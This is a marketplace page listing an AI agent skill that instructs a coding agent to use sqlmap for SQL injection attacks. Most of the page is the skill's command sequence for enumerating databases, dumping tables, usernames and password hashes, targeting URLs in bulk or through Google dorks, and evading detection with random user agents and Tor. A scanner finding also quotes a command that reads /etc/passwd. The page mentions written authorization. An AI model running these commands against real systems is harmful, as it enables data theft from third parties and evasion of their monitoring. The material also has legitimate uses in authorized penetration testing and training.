Mmcp.market

sqlmap-database-pentesting skill

by zebbern·zebbern/claude-code-guide·4.6k stars·MIT

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.

C70/100content scan

Is the sqlmap-database-pentesting skill safe?

Read the findings before you install it. We read 1 file in the folder on 2026-09-28.

  • highSKILL.md:304

    Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.

    sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

Install the sqlmap-database-pentesting skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. 

git clone --depth 1 https://github.com/zebbern/claude-code-guide.git /tmp/claude-code-guide
mkdir -p ~/.claude/skills
cp -r /tmp/claude-code-guide/skills/sqlmap-database-pentesting ~/.claude/skills/sqlmap-database-pentesting
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

  • -u: Target URL with injectable parameter
  • --dbs: Enumerate database names
  • --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

  • -D: Specify target database name
  • --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

  • -T: Specify target table name
  • --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

  • --dump: Extract all data from specified table
  • --dump-all: Extract all data from all tables
  • -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

Supported Database Management Systems

SQL Injection Techniques

Essential Options

Constraints and Limitations

Operational Boundaries

  • Requires valid injectable parameter in target URL
  • Network connectivity to target database server required
  • Large database dumps may take significant time
  • Some WAF/IPS systems may block SQLMap traffic
  • Time-based attacks significantly slower than error-based

Performance Considerations

  • Use --threads to speed up enumeration (default: 1)
  • Limit dumps with --start and --stop for large tables
  • Use --technique to specify faster injection method if known

Legal Requirements

  • Only test systems with explicit written authorization
  • Google dork attacks against unknown sites are illegal
  • Document all testing activities and findings
  • Respect scope limitations defined in engagement rules

Detection Risk

  • SQLMap generates significant log entries
  • Use --random-agent to vary User-Agent header
  • Consider --delay to avoid triggering rate limits
  • Proxy through Tor with --tor for anonymity (authorized tests only)

More skills from zebbern/claude-code-guide

  • Aacademic-paper-reviewerSimulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \"review my paper,\" \"simulate peer review,\" or \"give my paper a peer review.
  • Aactive-directory-attacksThis skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
  • Capi-fuzzing-bug-bountyThis skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
  • Aapi-shape-explorerGenerate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions "design it twice".
  • Aaudit-flowInteractive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.
  • Aauthentication-patternsAuthentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.
  • Aaws-penetration-testingThis skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
  • Abroken-authenticationThis skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
  • Cburp-suite-testingThis skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
  • AcachingCaching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic.
  • Achart-imageGenerate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser.
  • Dcloud-penetration-testingThis skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.

All agent skills → · MCP servers